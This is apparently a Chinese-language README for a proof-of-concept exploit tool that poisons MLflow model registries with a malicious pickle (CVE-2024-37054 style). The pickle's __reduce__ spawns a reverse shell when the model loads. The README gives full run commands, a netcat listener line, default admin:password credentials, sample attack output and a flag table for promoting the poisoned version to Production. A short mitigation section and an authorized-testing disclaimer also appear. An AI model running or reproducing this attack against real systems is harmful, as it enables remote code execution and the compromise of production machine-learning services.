针对 MLflow 模型注册表的 pickle 反序列化 RCE 的通用概念验证(CVE-2024-37054 风格)。仅与 MLflow REST API 通信——不对其前面的任何特定客户端应用程序做任何假设。
⚠️ 仅用于授权的安全测试。 仅对你拥有或明确授权测试的系统运行此工具(CTF/实验环境、已签署授权范围的渗透测试等)。在大多数司法管辖区,未经授权访问计算机系统是违法的。
MLflow 的 pyfunc flavor 在每次调用 mlflow.pyfunc.load_model() 时,都会通过反序列化(unpickling) model.pkl 工件来加载已注册的模型——无论是直接通过 MLflow UI/API 触发,还是由某个客户端应用程序对已注册模型运行推理时间接触发。
Python 的 pickle 模块可以在反序列化期间通过对象的 __reduce__ 方法执行任意代码。如果攻击者对 MLflow API 拥有足够的访问权限,能够:
……他们就可以将恶意 pickle 作为 model.pkl 偷运进去。下次任何东西加载该模型版本时,攻击者的代码就会在加载进程的上下文中执行(MLflow 服务器本身,或嵌入 MLflow 的客户端应用)。
这是多个 MLflow CVE 背后相同的底层原语,包括 CVE-2023-6015、CVE-2023-6018 和 CVE-2024-37054。它尤其危险,因为 MLflow 实例经常在无身份验证的情况下部署,或使用众所周知的默认凭据(admin:password)。
完全由 API 驱动,按顺序执行:
--model-name 复用你已有权访问的模型)。model.pkl —— 一个 pickle,其 __reduce__ 调用 os.system() 来生成反向 shell。MLmodel —— 声明由该 pickle 支持的 python_function / sklearn flavor 的清单文件。Production),因为许多客户端应用只会加载处于 Production 阶段的模型版本。它不会发现或触发实际的模型加载——这部分对每个部署都不同:
/predict 路由、定时批处理作业等)背后调用 mlflow.pyfunc.load_model()。你需要:
--model-name —— 从 MLflow UI、MLflow API(/api/2.0/mlflow/registered-models/search),或客户端应用代表你注册模型时返回的任何内容。pip install requests --break-system-packages
Python 3.8+。无其他依赖。
python3 mlflow_pickle_rce.py \
--mlflow http://mlflow.target.tld \
--model-name my-target-model \
--lhost 10.10.14.1 --lport 4444
在运行之前或之后启动监听器:
nc -lvnp 4444
然后以目标应用程序的方式触发加载(其自身的推理端点、批处理作业、从 MLflow UI 手动加载模型等)。
$ python3 mlflow_pickle_rce.py --mlflow http://mlflow.target.tld \
--model-name my-target-model --lhost 10.10.14.1 --lport 4444
[*] Verifying MLflow access at http://mlflow.target.tld ...
[+] MLflow API reachable (200)
[*] Ensuring registered model 'my-target-model' exists ...
[+] Model 'my-target-model' already exists, reusing it
[*] Creating run under experiment 0 ...
[+] Run ID: 3f9b1c2a...
[*] Uploading MLmodel ...
[+] MLmodel upload: 200
[*] Uploading model.pkl ...
[+] model.pkl upload: 200
[*] Registering malicious model version for 'my-target-model' ...
[+] Model version: 200 - {...}
[*] Transitioning version 2 to stage 'Production' ...
[+] Stage transition: 200
[+] Malicious model version is registered.
[+] Model name: my-target-model
[+] Listener: nc -lvnp 4444
[+] Now trigger whatever loads this model version in the target app
(e.g. its /predict endpoint, or wait for a scheduled job that
calls mlflow.pyfunc.load_model() on it).
admin:password)。pickle 的 MLflow flavor/序列化格式(例如 ONNX,或具有更安全序列化的 flavor),或对模型加载进行验证/沙箱化。registered-models/create、model-versions/create 和 transition-stage 调用,尤其是来自不应将模型发布到 Production 的账户。load_model() 的客户端应用),这样那里的代码执行原语就不会有直接通往敏感内部系统的路径。MIT —— 见 LICENSE。
| 标志 | 默认值 | 描述 |
|---|
--mlflow | (必填) | MLflow 基础 URL |
--model-name | 随机 | 要投毒的已注册模型名称;如果不存在则创建 |
--lhost | (必填) | 你的监听器 IP |
--lport | 4444 | 你的监听器端口 |
--username | admin | MLflow 基本身份验证用户名 |
--password | password | MLflow 基本身份验证密码 |
--experiment-id | 0 | 在其下创建运行的实验 ID |
--stage | Production | 将恶意版本提升到的阶段,或 none 以跳过转换 |